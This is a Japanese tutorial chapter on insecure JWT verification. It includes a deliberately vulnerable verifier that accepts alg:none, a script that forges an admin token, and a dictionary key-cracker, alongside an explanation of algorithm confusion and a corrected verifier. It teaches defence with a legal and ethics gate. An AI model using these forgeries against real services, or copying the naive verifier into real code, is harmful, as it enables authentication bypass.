コース目次 / 第3章
危うい実装 — alg:none・alg 混同・弱い鍵
署名の検証を甘くする3つの実装を、自作トークンで確かめます。alg:none受理と弱鍵ブルートフォースを実演し、alg混同を原理で理解し、algはサーバが固定・鍵は強く、で直します。
署名だけが砦なら、攻撃はその検証を迂回することに集中します。3つの代表的な手口を、自分で作ったトークンで確かめます。前章の verify-jwt.js の考え方をベースに進めます。
法と倫理ゲート
手を動かす前に
このコースは攻撃の技術に触れます。実習してよい相手は、次の3つだけです。
- (a) 自分で作った練習用のやられ環境(このサイトが配る自作ターゲット)
- (b) あなた自身の許可された環境(自分の Thousand SKY・secret-notes-ctf など)
- (c) CTF 競技の中(規約の範囲で)
実在する第三者のシステムを許可なく触ることは、不正アクセス禁止法に触れます。 このゲートは、その線引きを毎回の入口で確かめるためのものです。詳しくは「セキュリティの法と倫理」へ。
手口1 — alg:none(署名を、無しにする)
JWT のヘッダには署名方式(alg)が書いてあります。ここで、もし検証する側がトークンの言い分どおりに alg を信じてしまい、alg が none なら署名チェックを飛ばす実装だったら?
まず、署名を検証しない甘い実装を書きます(悪い例)。
// naive-verify.js — トークンの alg を信じてしまう、危うい検証(悪い例)。
const crypto = require('node:crypto');
const token = process.argv[2];
const secret = 'my-demo-secret';
const [h, p, s] = token.split('.');
const header = JSON.parse(Buffer.from(h, 'base64url').toString());
if (header.alg === 'none') {
// 危険: alg:none を信じて、署名を検証せずに通してしまう。
console.log('通過(署名チェックなし):', Buffer.from(p, 'base64url').toString());
} else {
const expected = crypto.createHmac('sha256', secret).update(h + '.' + p).digest('base64url');
console.log(s === expected ? '署名OK: ' + Buffer.from(p, 'base64url').toString() : '署名NG');
}
次に、署名なしで role:admin を名乗るトークンを偽造します。
// forge-none.js — alg:none で admin を名乗る。署名は空っぽ。
const b64 = (o) => Buffer.from(JSON.stringify(o)).toString('base64url');
const evil = b64({ alg: 'none', typ: 'JWT' }) + '.' + b64({ user: 'haruto', role: 'admin' }) + '.';
console.log(evil); // 3つめ(署名)が空
node forge-none.js # 偽造トークンが出る(末尾がドットで終わる)
node naive-verify.js "<偽造トークン>" # 甘い検証にかける
甘い検証は、署名が無いのに通過させ、role:admin を受け入れてしまいます。鍵も要らず、ただ「署名しません」と宣言しただけ。実在のライブラリでも、過去にこの alg:none 受理が深刻な脆弱性になりました。トークンの自己申告(alg)を信じたのが敗因です。
手口2 — 弱い鍵(辞書で、当てる)
HS256 の鍵が secret や password のように弱いと、攻撃者はオフラインで当てられます。自作トークン(前章の my-demo-secret で署名したもの)を相手に、鍵を推測してみます。
// crack.js — 弱い鍵を、候補リストから当てる(自作トークン限定の実演)。
const crypto = require('node:crypto');
const token = process.argv[2];
const [h, p, s] = token.split('.');
const wordlist = ['123456', 'password', 'secret', 'admin', 'letmein', 'my-demo-secret'];
for (const guess of wordlist) {
const sig = crypto.createHmac('sha256', guess).update(h + '.' + p).digest('base64url');
if (sig === s) { console.log('鍵が判明:', guess); process.exit(0); }
}
console.log('この候補では当たらず');
node crack.js "<前章で作ったトークン>"
候補リストに my-demo-secret が含まれているので、鍵が判明します。鍵が分かれば、攻撃者は任意のトークンを正しく署名して偽造できます——role:admin でも、別人の user でも、署名まで含めて“本物”を作れる。署名という砦は、鍵が弱ければ、乗り越えられる。本物の攻撃者は、膨大な辞書と高速なハードウェアを使います。
手口3 — alg 混同(RS256 → HS256)(原理)
これは実演はしませんが、原理を押さえます。仕組みが分かれば、次の「直し」の必要性が腑に落ちます。
RS256 は「秘密鍵で署名し、公開鍵で検証する」方式です。公開鍵は、名前のとおり誰でも手に入る。
ここで、検証側がトークンの alg を信じて、鍵を汎用的に扱う実装だと——攻撃者は alg を HS256 にすり替え、公開鍵の文字列を HMAC の“鍵”として署名します。検証側は「HS256 だから、手元の鍵(=公開鍵)で HMAC 検証」してしまい、一致する。誰でも知っている公開鍵で、正しい署名が作れてしまうのです。
根っこは手口1と同じ——トークンが名乗る alg を、検証側が信じてしまったことです。
直す — alg はサーバが固定、鍵は強く
3つの手口は、2つの原則でまとめて塞げます。
1. alg は、サーバが固定する(トークンの言い分を信じない)。検証側は「このトークンは HS256 で検証する」と自分で決め打ちし、ヘッダの alg が違えば(none でも RS256 でも)即座に拒否する。これで手口1(none)と手口3(混同)は塞がる。ライブラリを使うなら、期待する alg を明示的に指定する。
2. 鍵は、十分に長くランダムに。HS256 の鍵は、辞書に載らない長いランダム値(32バイト以上)にする。crypto.randomBytes(32) のような生成で、辞書攻撃・総当たりを現実的に不可能にする。これで手口2(弱鍵)が塞がる。
正しい検証は、こう書けます(前章の verify-jwt.js に、alg の固定を足しただけ)。
// 直したあと: alg を HS256 に固定し、ヘッダの言い分が違えば拒否する。
const header = JSON.parse(Buffer.from(h, 'base64url').toString());
if (header.alg !== 'HS256') { console.log('拒否: 想定外の alg'); process.exit(1); }
const expected = crypto.createHmac('sha256', secret).update(h + '.' + p).digest('base64url');
// さらに: 鍵は crypto.randomBytes(32) 由来の強い値にしておく。
console.log(s === expected ? '署名OK' : '署名NG');
実務では、JWT を手で検証せず実績のあるライブラリを使うのが基本です。ただしその場合も、「期待する alg を明示する」「鍵を強くする」「有効期限(exp)を確認する」は自分で設定する必要があります。仕組みを知っているあなたは、その設定を正しく選べます。
持ち帰る一言
署名の砦は、検証を甘くすると崩れる。 alg:none 受理・弱い鍵・alg 混同——どれも「トークンの自己申告を信じた」か「鍵が弱かった」。直しは2つ、alg はサーバが固定し、鍵は十分に強く。次はまとめて、認証・セッションの全体像へ送り出します。
こうなっていればOK
卒業まであと1章です。
この章はまだ完了していません。
保存できませんでした(プライベートブラウズ中かもしれません)。この端末に進捗は残りませんが、先へは進めます。